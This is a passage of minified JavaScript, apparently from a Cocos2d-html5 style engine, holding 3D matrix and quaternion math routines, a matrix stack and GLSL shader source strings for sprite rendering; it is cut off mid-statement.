- b.Dfa=function(a,c){if(!c||!a)return null;a.c[0]=1-2*(c.y*c.y+c.z*c.z);a.c[1]=2*(c.x*c.y-c.G*c.z);a.c[2]=2*(c.x*c.z+c.G*c.y);a.c[3]=2*(c.x*c.y+c.G*c.z);a.c[4]=1-2*(c.x*c.x+c.z*c.z);a.c[5]=2*(c.y*c.z-c.G*c.x);a.c[6]=2*(c.x*c.z-c.G*c.y);a.c[7]=2*(c.y*c.z+c.G*c.x);a.c[8]=1-2*(c.x*c.x+c.y*c.y);return a};b.Efa=function(a,c,d){b.HO(void 0,d);b.IO(void 0,a);return a};b.ca=function(){this.c=new Float32Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])};b.Nfa=function(a,c){a.c[0]=a.c[1]=a.c[2]=a.c[3]=a.c[4]=a.c[5]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[10]=a.c[11]=a.c[12]=a.c[13]=a.c[14]=a.c[15]=c};b.Xm=function(a){a.c[1]=a.c[2]=a.c[3]=a.c[4]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[11]=a.c[12]=a.c[13]=a.c[14]=0;a.c[0]=a.c[5]=a.c[10]=a.c[15]=1};b.ca.Ef=function(a,c,d){return a.c[c+4*d]};b.ca.Mk=function(a,c,d,e){a.c[c+4*d]=e};
- b.ca.Tk=function(a,c,d,e,f){var g=b.ca.Ef(a,c,d);b.ca.Mk(a,c,d,b.ca.Ef(a,e,f));b.ca.Mk(a,e,f,g)};
- b.ca.HW=function(a,c){var d,e=0,f=0,g,h,k,m=[0,0,0,0],p=[0,0,0,0],q=[0,0,0,0];for(d=0;4>d;d++){for(g=k=0;4>g;g++)if(1!=q[g])for(h=0;4>h;h++)0==q[h]&&Math.abs(b.ca.Ef(a,g,h))>=k&&(k=Math.abs(b.ca.Ef(a,g,h)),f=g,e=h);++q[e];if(f!=e){for(g=0;4>g;g++)b.ca.Tk(a,f,g,e,g);for(g=0;4>g;g++)b.ca.Tk(c,f,g,e,g)}p[d]=f;m[d]=e;if(0==b.ca.Ef(a,e,e))return b.An;h=1/b.ca.Ef(a,e,e);b.ca.Mk(a,e,e,1);for(g=0;4>g;g++)b.ca.Mk(a,e,g,b.ca.Ef(a,e,g)*h);for(g=0;4>g;g++)b.ca.Mk(c,e,g,b.ca.Ef(c,e,g)*h);for(h=0;4>h;h++)if(h!=
- e){k=b.ca.Ef(a,h,e);b.ca.Mk(a,h,e,0);for(g=0;4>g;g++)b.ca.Mk(a,h,g,b.ca.Ef(a,h,g)-b.ca.Ef(a,e,g)*k);for(g=0;4>g;g++)b.ca.Mk(c,h,g,b.ca.Ef(a,h,g)-b.ca.Ef(c,e,g)*k)}}for(g=3;0<=g;g--)if(p[g]!=m[g])for(h=0;4>h;h++)b.ca.Tk(a,h,p[g],h,m[g]);return b.Bn};b.ca.UB=new Float32Array([1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]);b.f3=function(a,c){var d=new b.ca,e=new b.ca;b.Hj(d,c);b.Xm(e);b.ca.HW(d,e)!=b.An&&b.Hj(a,d)};b.Rfa=function(a){for(var c=0;16>c;c++)if(b.ca.UB[c]!=a.c[c])return!1;return!0};
- b.Zfa=function(a,c){var d,e,f=a.c,g=c.c;for(e=0;4>e;++e)for(d=0;4>d;++d)f[4*e+d]=g[4*d+e];return a};
- b.Ei=function(a,c,d){a=a.c;var e=c.c[0],f=c.c[1],g=c.c[2],h=c.c[3],k=c.c[4],m=c.c[5],p=c.c[6],q=c.c[7],r=c.c[8],t=c.c[9],s=c.c[10],u=c.c[11],v=c.c[12],x=c.c[13],z=c.c[14];c=c.c[15];var D=d.c[0],F=d.c[1],B=d.c[2],y=d.c[3],A=d.c[4],w=d.c[5],C=d.c[6],H=d.c[7],I=d.c[8],G=d.c[9],O=d.c[10],R=d.c[11],Q=d.c[12],T=d.c[13],K=d.c[14];d=d.c[15];a[0]=D*e+F*k+B*r+y*v;a[1]=D*f+F*m+B*t+y*x;a[2]=D*g+F*p+B*s+y*z;a[3]=D*h+F*q+B*u+y*c;a[4]=A*e+w*k+C*r+H*v;a[5]=A*f+w*m+C*t+H*x;a[6]=A*g+w*p+C*s+H*z;a[7]=A*h+w*q+C*u+H*
- c;a[8]=I*e+G*k+O*r+R*v;a[9]=I*f+G*m+O*t+R*x;a[10]=I*g+G*p+O*s+R*z;a[11]=I*h+G*q+O*u+R*c;a[12]=Q*e+T*k+K*r+d*v;a[13]=Q*f+T*m+K*t+d*x;a[14]=Q*g+T*p+K*s+d*z;a[15]=Q*h+T*q+K*u+d*c};
- b.w1=function(){var a=b.ll.top.c,c=b.Lj.top.c,d=new Float32Array(16);d[0]=a[0]*c[0]+a[4]*c[1]+a[8]*c[2]+a[12]*c[3];d[1]=a[1]*c[0]+a[5]*c[1]+a[9]*c[2]+a[13]*c[3];d[2]=a[2]*c[0]+a[6]*c[1]+a[10]*c[2]+a[14]*c[3];d[3]=a[3]*c[0]+a[7]*c[1]+a[11]*c[2]+a[15]*c[3];d[4]=a[0]*c[4]+a[4]*c[5]+a[8]*c[6]+a[12]*c[7];d[5]=a[1]*c[4]+a[5]*c[5]+a[9]*c[6]+a[13]*c[7];d[6]=a[2]*c[4]+a[6]*c[5]+a[10]*c[6]+a[14]*c[7];d[7]=a[3]*c[4]+a[7]*c[5]+a[11]*c[6]+a[15]*c[7];d[8]=a[0]*c[8]+a[4]*c[9]+a[8]*c[10]+a[12]*c[11];d[9]=a[1]*c[8]+
- a[5]*c[9]+a[9]*c[10]+a[13]*c[11];d[10]=a[2]*c[8]+a[6]*c[9]+a[10]*c[10]+a[14]*c[11];d[11]=a[3]*c[8]+a[7]*c[9]+a[11]*c[10]+a[15]*c[11];d[12]=a[0]*c[12]+a[4]*c[13]+a[8]*c[14]+a[12]*c[15];d[13]=a[1]*c[12]+a[5]*c[13]+a[9]*c[14]+a[13]*c[15];d[14]=a[2]*c[12]+a[6]*c[13]+a[10]*c[14]+a[14]*c[15];d[15]=a[3]*c[12]+a[7]*c[13]+a[11]*c[14]+a[15]*c[15];return d};
- b.hda=function(a,c,d){a=a.c;c=c.c;var e=d.c;e[0]=a[0]*c[0]+a[4]*c[1]+a[8]*c[2]+a[12]*c[3];e[1]=a[1]*c[0]+a[5]*c[1]+a[9]*c[2]+a[13]*c[3];e[2]=a[2]*c[0]+a[6]*c[1]+a[10]*c[2]+a[14]*c[3];e[3]=a[3]*c[0]+a[7]*c[1]+a[11]*c[2]+a[15]*c[3];e[4]=a[0]*c[4]+a[4]*c[5]+a[8]*c[6]+a[12]*c[7];e[5]=a[1]*c[4]+a[5]*c[5]+a[9]*c[6]+a[13]*c[7];e[6]=a[2]*c[4]+a[6]*c[5]+a[10]*c[6]+a[14]*c[7];e[7]=a[3]*c[4]+a[7]*c[5]+a[11]*c[6]+a[15]*c[7];e[8]=a[0]*c[8]+a[4]*c[9]+a[8]*c[10]+a[12]*c[11];e[9]=a[1]*c[8]+a[5]*c[9]+a[9]*c[10]+a[13]*
- c[11];e[10]=a[2]*c[8]+a[6]*c[9]+a[10]*c[10]+a[14]*c[11];e[11]=a[3]*c[8]+a[7]*c[9]+a[11]*c[10]+a[15]*c[11];e[12]=a[0]*c[12]+a[4]*c[13]+a[8]*c[14]+a[12]*c[15];e[13]=a[1]*c[12]+a[5]*c[13]+a[9]*c[14]+a[13]*c[15];e[14]=a[2]*c[12]+a[6]*c[13]+a[10]*c[14]+a[14]*c[15];e[15]=a[3]*c[12]+a[7]*c[13]+a[11]*c[14]+a[15]*c[15];return d.c};
- b.Hj=function(a,c){if(a==c)b.log("cc.kmMat4Assign(): pOut equals pIn");else{var d=a.c,e=c.c;d[0]=e[0];d[1]=e[1];d[2]=e[2];d[3]=e[3];d[4]=e[4];d[5]=e[5];d[6]=e[6];d[7]=e[7];d[8]=e[8];d[9]=e[9];d[10]=e[10];d[11]=e[11];d[12]=e[12];d[13]=e[13];d[14]=e[14];d[15]=e[15]}};b.Lfa=function(a,c){if(a==c)return b.log("cc.kmMat4AreEqual(): pMat1 and pMat2 are same object."),!0;for(var d=0;16>d;d++)if(!(a.c[d]+b.za>c.c[d]&&a.c[d]-b.za<c.c[d]))return!1;return!0};
- b.Wfa=function(a,c){a.c[0]=1;a.c[1]=0;a.c[2]=0;a.c[3]=0;a.c[4]=0;a.c[5]=Math.cos(c);a.c[6]=Math.sin(c);a.c[7]=0;a.c[8]=0;a.c[9]=-Math.sin(c);a.c[10]=Math.cos(c);a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1;return a};b.Xfa=function(a,c){a.c[0]=Math.cos(c);a.c[1]=0;a.c[2]=-Math.sin(c);a.c[3]=0;a.c[4]=0;a.c[5]=1;a.c[6]=0;a.c[7]=0;a.c[8]=Math.sin(c);a.c[9]=0;a.c[10]=Math.cos(c);a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1;return a};
- b.Yfa=function(a,c){a.c[0]=Math.cos(c);a.c[1]=Math.sin(c);a.c[2]=0;a.c[3]=0;a.c[4]=-Math.sin(c);a.c[5]=Math.cos(c);a.c[6]=0;a.c[7]=0;a.c[8]=0;a.c[9]=0;a.c[10]=1;a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1;return a};
- b.Sfa=function(a,c,d,e){var f=Math.cos(c);c=Math.sin(c);var g=Math.cos(d);d=Math.sin(d);var h=Math.cos(e);e=Math.sin(e);var k=c*d,m=f*d;a.c[0]=g*h;a.c[4]=g*e;a.c[8]=-d;a.c[1]=k*h-f*e;a.c[5]=k*e+f*h;a.c[9]=c*g;a.c[2]=m*h+c*e;a.c[6]=m*e-c*h;a.c[10]=f*g;a.c[3]=a.c[7]=a.c[11]=0;a.c[15]=1;return a};
- b.Tfa=function(a,c){a.c[0]=1-2*(c.y*c.y+c.z*c.z);a.c[1]=2*(c.x*c.y+c.z*c.G);a.c[2]=2*(c.x*c.z-c.y*c.G);a.c[3]=0;a.c[4]=2*(c.x*c.y-c.z*c.G);a.c[5]=1-2*(c.x*c.x+c.z*c.z);a.c[6]=2*(c.z*c.y+c.x*c.G);a.c[7]=0;a.c[8]=2*(c.x*c.z+c.y*c.G);a.c[9]=2*(c.y*c.z-c.x*c.G);a.c[10]=1-2*(c.x*c.x+c.y*c.y);a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1;return a};
- b.Vfa=function(a,c,d){a.c[0]=c.c[0];a.c[1]=c.c[1];a.c[2]=c.c[2];a.c[3]=0;a.c[4]=c.c[3];a.c[5]=c.c[4];a.c[6]=c.c[5];a.c[7]=0;a.c[8]=c.c[6];a.c[9]=c.c[7];a.c[10]=c.c[8];a.c[11]=0;a.c[12]=d.x;a.c[13]=d.y;a.c[14]=d.z;a.c[15]=1;return a};b.i3=function(a,c,d,e){a.c[0]=c;a.c[5]=d;a.c[10]=e;a.c[15]=1;a.c[1]=a.c[2]=a.c[3]=a.c[4]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[11]=a.c[12]=a.c[13]=a.c[14]=0};
- b.DO=function(a,c,d,e){a.c[0]=a.c[5]=a.c[10]=a.c[15]=1;a.c[1]=a.c[2]=a.c[3]=a.c[4]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[11]=0;a.c[12]=c;a.c[13]=d;a.c[14]=e};b.Qfa=function(a,c){a.x=c.c[4];a.y=c.c[5];a.z=c.c[6];b.pf(a,a);return a};b.Pfa=function(a,c){a.x=c.c[0];a.y=c.c[1];a.z=c.c[2];b.pf(a,a);return a};b.Ofa=function(a,c){a.x=c.c[8];a.y=c.c[9];a.z=c.c[10];b.pf(a,a);return a};
- b.g3=function(a,c,d){var e=b.Rs(30),f=d-0.1,g=Math.sin(e);0!=f&&0!=g&&0!=c&&(e=Math.cos(e)/g,b.Xm(a),a.c[0]=e/c,a.c[5]=e,a.c[10]=-(d+0.1)/f,a.c[11]=-1,a.c[14]=-0.2*d/f,a.c[15]=0)};b.DF=function(a,c,d,e,f,g,h){b.Xm(a);a.c[0]=2/(d-c);a.c[5]=2/(f-e);a.c[10]=-2/(h-g);a.c[12]=-((d+c)/(d-c));a.c[13]=-((f+e)/(f-e));a.c[14]=-((h+g)/(h-g))};
- b.CO=function(a,c,d,e){var f=new b.tb,g=new b.tb,h=new b.tb,k=new b.tb,m=new b.ca;b.IF(f,d,c);b.pf(f,f);b.Ss(g,e);b.pf(g,g);b.hl(h,f,g);b.pf(h,h);b.hl(k,h,f);b.pf(h,h);b.Xm(a);a.c[0]=h.x;a.c[4]=h.y;a.c[8]=h.z;a.c[1]=k.x;a.c[5]=k.y;a.c[9]=k.z;a.c[2]=-f.x;a.c[6]=-f.y;a.c[10]=-f.z;b.DO(m,-c.x,-c.y,-c.z);b.Ei(a,a,m)};
- b.h3=function(a,c,d){var e=Math.cos(d);d=Math.sin(d);var f=new b.tb;b.pf(f,c);a.c[0]=e+f.x*f.x*(1-e);a.c[1]=f.z*d+f.y*f.x*(1-e);a.c[2]=-f.y*d+f.z*f.x*(1-e);a.c[3]=0;a.c[4]=-f.z*d+f.x*f.y*(1-e);a.c[5]=e+f.y*f.y*(1-e);a.c[6]=f.x*d+f.z*f.y*(1-e);a.c[7]=0;a.c[8]=f.y*d+f.x*f.z*(1-e);a.c[9]=-f.x*d+f.y*f.z*(1-e);a.c[10]=e+f.z*f.z*(1-e);a.c[11]=0;a.c[12]=0;a.c[13]=0;a.c[14]=0;a.c[15]=1};
- b.e3=function(a,c){a.c[0]=c.c[0];a.c[1]=c.c[1];a.c[2]=c.c[2];a.c[3]=c.c[4];a.c[4]=c.c[5];a.c[5]=c.c[6];a.c[6]=c.c[8];a.c[7]=c.c[9];a.c[8]=c.c[10]};
- b.Mfa=function(a,c,d){switch(d){case b.kS:a.a=c.c[3]-c.c[0];a.b=c.c[7]-c.c[4];a.C=c.c[11]-c.c[8];a.K=c.c[15]-c.c[12];break;case b.iS:a.a=c.c[3]+c.c[0];a.b=c.c[7]+c.c[4];a.C=c.c[11]+c.c[8];a.K=c.c[15]+c.c[12];break;case b.gS:a.a=c.c[3]+c.c[1];a.b=c.c[7]+c.c[5];a.C=c.c[11]+c.c[9];a.K=c.c[15]+c.c[13];break;case b.lS:a.a=c.c[3]-c.c[1];a.b=c.c[7]-c.c[5];a.C=c.c[11]-c.c[9];a.K=c.c[15]-c.c[13];break;case b.hS:a.a=c.c[3]-c.c[2];a.b=c.c[7]-c.c[6];a.C=c.c[11]-c.c[10];a.K=c.c[15]-c.c[14];break;case b.jS:a.a=
- c.c[3]+c.c[2];a.b=c.c[7]+c.c[6];a.C=c.c[11]+c.c[10];a.K=c.c[15]+c.c[14];break;default:b.log("cc.kmMat4ExtractPlane(): Invalid plane index")}c=Math.sqrt(a.a*a.a+a.b*a.b+a.C*a.C);a.a/=c;a.b/=c;a.C/=c;a.K/=c;return a};b.Ufa=function(a,c,d){c=new ha;var e=new b.Px;b.e3(e,d);b.HO(c,e);b.IO(c,a);return a};b.iS=0;b.kS=1;b.gS=2;b.lS=3;b.jS=4;b.hS=5;b.$fa=function(a,c,d,e){this.a=a||0;this.b=c||0;this.C=d||0;this.K=e||0};b.bT=0;b.aT=1;b.cT=2;b.bga=function(a,c){return a.a*c.x+a.b*c.y+a.C*c.z+a.K*c.G};b.cga=function(a,c){return a.a*c.x+a.b*c.y+a.C*c.z+a.K};b.dga=function(a,c){return a.a*c.x+a.b*c.y+a.C*c.z};b.ega=function(a,c,d){a.a=d.x;a.b=d.y;a.C=d.z;a.K=-b.GF(d,c);return a};
- b.fga=function(a,c,d,e){var f=new b.tb,g=new b.tb,h=new b.tb;b.IF(g,d,c);b.IF(h,e,c);b.hl(f,g,h);b.pf(f,f);a.a=f.x;a.b=f.y;a.C=f.z;a.K=b.GF(b.HF(f,f,-1),c);return a};b.gga=function(){throw"cc.kmPlaneIntersectLine() hasn't been implemented.";};b.hga=function(a,c){var d=new b.tb;d.x=c.a;d.y=c.b;d.z=c.C;var e=1/b.KO(d);b.pf(d,d);a.a=d.x;a.b=d.y;a.C=d.z;a.K=c.K*e;return a};b.iga=function(){b.log("cc.kmPlaneScale() has not been implemented.")};
- b.aga=function(a,c){var d=a.a*c.x+a.b*c.y+a.C*c.z+a.K;return 0.001<d?b.bT:-0.001>d?b.aT:b.cT};function ha(){this.G=this.z=this.y=this.x=0}b.m3=function(a,c){a.x=-c.x;a.y=-c.y;a.z=-c.z;a.G=c.G;return a};b.n3=function(a,c){return a.G*c.G+a.x*c.x+a.y*c.y+a.z*c.z};b.kga=function(a){return a};b.o3=function(a){a.x=0;a.y=0;a.z=0;a.G=1};b.lga=function(a,c){var d=b.EO(c),e=new ha;if(Math.abs(d)>b.za)return a.x=0,a.y=0,a.z=0,a.G=0,a;b.Sx(a,b.m3(e,c),1/d);return a};b.mga=function(a){return 0==a.x&&0==a.y&&0==a.z&&1==a.G};b.EO=function(a){return Math.sqrt(b.p3(a))};
- b.p3=function(a){return a.x*a.x+a.y*a.y+a.z*a.z+a.G*a.G};b.nga=function(a){return a};b.oga=function(a,c,d){a.G=c.G*d.G-c.x*d.x-c.y*d.y-c.z*d.z;a.x=c.G*d.x+c.x*d.G+c.y*d.z-c.z*d.y;a.y=c.G*d.y+c.y*d.G+c.z*d.x-c.x*d.z;a.z=c.G*d.z+c.z*d.G+c.x*d.y-c.y*d.x;return a};b.FO=function(a,c){var d=b.EO(c);if(Math.abs(d)<=b.za)throw"cc.kmQuaternionNormalize(): pIn is an invalid value";b.Sx(a,c,1/d)};b.GO=function(a,c){var d=0.5*b.EF,e=Math.sin(d);a.G=Math.cos(d);a.x=c.x*e;a.y=c.y*e;a.z=c.z*e};
- b.HO=function(a,c){var d,e,f,g;d=[];e=g=0;if(c){d[0]=c.c[0];d[1]=c.c[3];d[2]=c.c[6];d[4]=c.c[1];d[5]=c.c[4];d[6]=c.c[7];d[8]=c.c[2];d[9]=c.c[5];d[10]=c.c[8];d[15]=1;var h=d[0];e=h[0]+h[5]+h[10]+1;e>b.za?(g=2*Math.sqrt(e),d=(h[9]-h[6])/g,e=(h[2]-h[8])/g,f=(h[4]-h[1])/g,g*=0.25):h[0]>h[5]&&h[0]>h[10]?(g=2*Math.sqrt(1+h[0]-h[5]-h[10]),d=0.25*g,e=(h[4]+h[1])/g,f=(h[2]+h[8])/g,g=(h[9]-h[6])/g):h[5]>h[10]?(g=2*Math.sqrt(1+h[5]-h[0]-h[10]),d=(h[4]+h[1])/g,e=0.25*g,f=(h[9]+h[6])/g,g=(h[2]-h[8])/g):(g=2*Math.sqrt(1+
- h[10]-h[0]-h[5]),d=(h[2]+h[8])/g,e=(h[9]+h[6])/g,f=0.25*g,g=(h[4]-h[1])/g);a.x=d;a.y=e;a.z=f;a.G=g}};b.rga=function(a,c,d,e){var f,g,h,k,m;f=b.Rs(d)/2;g=b.Rs(c)/2;h=b.Rs(e)/2;e=Math.cos(f);c=Math.cos(g);d=Math.cos(h);f=Math.sin(f);g=Math.sin(g);h=Math.sin(h);k=c*d;m=g*h;a.G=e*k+f*m;a.x=f*k-e*m;a.y=e*g*d+f*c*h;a.z=e*c*h-f*g*d;b.FO(a,a);return a};
- b.sga=function(a,c,d,e){if(c.x==d.x&&c.y==d.y&&c.z==d.z&&c.G==d.G)return a.x=c.x,a.y=c.y,a.z=c.z,a.G=c.G,a;var f=b.n3(c,d),g=Math.acos(f),f=Math.sqrt(1-b.Fc(f)),h=Math.sin(e*g)/f,k=new ha,m=new ha;b.Sx(k,c,Math.sin((1-e)*g)/f);b.Sx(m,d,h);b.l3(a,k,m);return a};b.IO=function(a,c){var d;d=Math.sqrt(b.Fc(a.x)+b.Fc(a.y)+b.Fc(a.z));d>-b.za&&d<b.za||d<2*b.EF+b.za&&d>2*b.EF-b.za?(c.x=0,c.y=0,c.z=1):(c.x=a.x/d,c.y=a.y/d,c.z=a.z/d,b.pf(c,c))};b.Sx=function(a,c,d){a.x=c.x*d;a.y=c.y*d;a.z=c.z*d;a.G=c.G*d};
- b.jga=function(a,c){a.x=c.x;a.y=c.y;a.z=c.z;a.G=c.G;return a};b.l3=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z;a.G=c.G+d.G};
- b.qga=function(a,c,d,e){var f=new b.tb,g=new b.tb;b.Ss(f,c);b.Ss(g,d);b.pf(f,f);b.pf(g,g);d=b.GF(f,g);if(1<=d)return b.o3(a),a;-0.999999>d?Math.abs(b.LO(e))<b.za?b.GO(a,e):(f=new b.tb,g=new b.tb,g.x=1,g.y=0,g.z=0,b.hl(f,g,c),Math.abs(b.LO(f))<b.za&&(g=new b.tb,g.x=0,g.y=1,g.z=0,b.hl(f,g,c)),b.pf(f,f),b.GO(a,f)):(c=Math.sqrt(2*(1+d)),e=1/c,d=new b.tb,b.hl(d,f,g),a.x=d.x*e,a.y=d.y*e,a.z=d.z*e,a.G=0.5*c,b.FO(a,a));return a};
- b.pga=function(a,c,d){var e=new b.tb,f=new b.tb,g=new b.tb;g.x=c.x;g.y=c.y;g.z=c.z;b.hl(e,g,d);b.hl(f,g,e);b.HF(e,e,2*c.G);b.HF(f,f,2);b.JO(a,d,e);b.JO(a,a,f);return a};b.jfa=function(a,c){this.min=a||new b.tb;this.max=c||new b.tb};b.lfa=function(a,c){return a.x>=c.min.x&&a.x<=c.max.x&&a.y>=c.min.y&&a.y<=c.max.y&&a.z>=c.min.z&&a.z<=c.max.z?b.Bn:b.An};b.kfa=function(a,c){b.Ss(a.min,c.min);b.Ss(a.max,c.max);return a};b.mfa=function(){b.log("cc.kmAABBScale hasn't been supported.")};b.Vx=function(a,c,d,e){this.top=d;this.stack=e};b.Vx.k8=30;b.JF=function(a){a.stack=[];a.top=null};b.Wx=function(a,c){a.stack.push(a.top);a.top=new b.ca;b.Hj(a.top,c)};b.Yga=function(a){a.top=a.stack.pop()};b.KF=function(a){a.stack=null;a.top=null};b.$g=5888;b.ah=5889;b.oH=5890;b.Lj=new b.Vx;b.ll=new b.Vx;b.xt=new b.Vx;b.Ob=null;b.vF=!1;b.v3=function(){if(!b.vF){var a=new b.ca;b.JF(b.Lj);b.JF(b.ll);b.JF(b.xt);b.Ob=b.Lj;b.vF=!0;b.Xm(a);b.Wx(b.Lj,a);b.Wx(b.ll,a);b.Wx(b.xt,a)}};b.v3();b.b3=function(){b.KF(b.Lj);b.KF(b.ll);b.KF(b.xt);b.vF=!1;b.Ob=null};b.Gj=function(){b.Wx(b.Ob,b.Ob.top)};b.rfa=function(a){b.Ob.stack.push(b.Ob.top);b.Hj(a,b.Ob.top);b.Ob.top=a};b.Fj=function(){b.Ob.top=b.Ob.stack.pop()};
- b.of=function(a){switch(a){case b.$g:b.Ob=b.Lj;break;case b.ah:b.Ob=b.ll;break;case b.oH:b.Ob=b.xt;break;default:throw"Invalid matrix mode specified";}};b.fl=function(){b.Xm(b.Ob.top)};b.qfa=function(a){b.Hj(b.Ob.top,a)};b.zp=function(a){b.Ei(b.Ob.top,b.Ob.top,a)};b.Ap=function(a,c){var d=new b.ca;b.DO(d,a,c,0);b.Ei(b.Ob.top,b.Ob.top,d)};b.sfa=function(a,c,d,e){c=new b.tb(c,d,e);d=new b.ca;b.h3(d,c,b.Rs(a));b.Ei(b.Ob.top,b.Ob.top,d)};
- b.tfa=function(a,c,d){var e=new b.ca;b.i3(e,a,c,d);b.Ei(b.Ob.top,b.Ob.top,e)};b.Ox=function(a,c){switch(a){case b.$g:b.Hj(c,b.Lj.top);break;case b.ah:b.Hj(c,b.ll.top);break;case b.oH:b.Hj(c,b.xt.top);break;default:throw"Invalid matrix mode specified";}};b.zT="precision lowp float;\nvarying vec4 v_fragmentColor;\nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor; \n}\n";b.AT="attribute vec4 a_position;\nuniform vec4 u_color;\nuniform float u_pointSize;\nvarying lowp vec4 v_fragmentColor; \nvoid main(void) \n{\n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n gl_PointSize \x3d u_pointSize; \n v_fragmentColor \x3d u_color; \n}";b.nT="precision lowp float; \nvarying vec4 v_fragmentColor; \nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor; \n} ";
- b.qT="attribute vec4 a_position;\nattribute vec4 a_color;\nvarying lowp vec4 v_fragmentColor;\nvoid main()\n{\n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n}";b.oT="// #extension GL_OES_standard_derivatives : enable\nvarying mediump vec4 v_color;\nvarying mediump vec2 v_texcoord;\nvoid main()\t\n{ \n// #if defined GL_OES_standard_derivatives\t\n// gl_FragColor \x3d v_color*smoothstep(0.0, length(fwidth(v_texcoord)), 1.0 - length(v_texcoord)); \n// #else\t\ngl_FragColor \x3d v_color * step(0.0, 1.0 - length(v_texcoord)); \n// #endif \n}";
- b.pT="attribute mediump vec4 a_position; \nattribute mediump vec2 a_texcoord; \nattribute mediump vec4 a_color;\t\nvarying mediump vec4 v_color; \nvarying mediump vec2 v_texcoord;\t\nvoid main() \n{ \n v_color \x3d a_color;//vec4(a_color.rgb * a_color.a, a_color.a); \n v_texcoord \x3d a_texcoord; \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n}";b.vT="precision lowp float; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d texture2D(CC_Texture0, v_texCoord); \n}";
- b.yT="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_texCoord \x3d a_texCoord; \n}";b.wT="precision lowp float; \nuniform vec4 u_color; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d texture2D(CC_Texture0, v_texCoord) * u_color; \n}";b.xT="attribute vec4 a_position;\nattribute vec2 a_texCoord; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_texCoord \x3d a_texCoord; \n}";
- b.rT="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d vec4( v_fragmentColor.rgb, \n v_fragmentColor.a * texture2D(CC_Texture0, v_texCoord).a \n ); \n}";b.sT="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nattribute vec4 a_color; \nvarying lowp vec4 v_fragmentColor; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n v_texCoord \x3d a_texCoord; \n}";
- b.uT="precision lowp float;\nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor * texture2D(CC_Texture0, v_texCoord); \n}";b.WH="attribute vec4 a_position; \nattribute vec2 a_texCoord; \nattribute vec4 a_color; \nvarying lowp vec4 v_fragmentColor; \nvarying mediump vec2 v_texCoord; \nvoid main() \n{ \n gl_Position \x3d (CC_PMatrix * CC_MVMatrix) * a_position; \n v_fragmentColor \x3d a_color; \n v_texCoord \x3d a_texCoord; \n}";
- b.tT="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D CC_Texture0; \nuniform float CC_alpha_value; \nvoid main() \n{ \n vec4 texColor \x3d texture2D(CC_Texture0, v_texCoord); \n // mimic: glAlphaFunc(GL_GREATER) \n //pass if ( incoming_pixel \x3e\x3d CC_alpha_value ) \x3d\x3e fail if incoming_pixel \x3c CC_alpha_value \n if ( texColor.a \x3c\x3d CC_alpha_value ) \n discard; \n gl_FragColor \x3d texColor * v_fragmentColor; \n}";
- b.W8="precision lowp float; \nvarying vec4 v_fragmentColor; \nvarying vec2 v_texCoord; \nuniform sampler2D u_texture; \nuniform sampler2D u_mask; \nvoid main() \n{ \n vec4 texColor \x3d texture2D(u_texture, v_texCoord); \n vec4 maskColor \x3d texture2D(u_mask, v_texCoord); \n vec4 finalColor \x3d vec4(texColor.r, texColor.g, texColor.b, maskColor.a * texColor.a); \n gl_FragColor \x3d v_fragmentColor * finalColor; \n}";b.Hd={qA:0,rA:1,oA:2,pA:3,tA:4,sA:5,uA:6,jI:7,t9:8,jd:{},Ar:function(){this.z3();return!0},Be:function(a,c){switch(c){case this.qA:a.Di(b.WH,b.uT);a.od(b.ul,b.ob);a.od(b.Zp,b.ve);a.od(b.pn,b.vd);break;case this.rA:a.Di(b.WH,b.tT);a.od(b.ul,b.ob);a.od(b.Zp,b.ve);a.od(b.pn,b.vd);break;case this.oA:a.Di(b.qT,b.nT);a.od(b.ul,b.ob);a.od(b.Zp,b.ve);break;case this.pA:a.Di(b.yT,b.vT);a.od(b.ul,b.ob);a.od(b.pn,b.vd);break;case this.tA:a.Di(b.xT,b.wT);a.od(b.ul,b.ob);a.od(b.pn,b.vd);break;case this.sA:a.Di(b.sT,
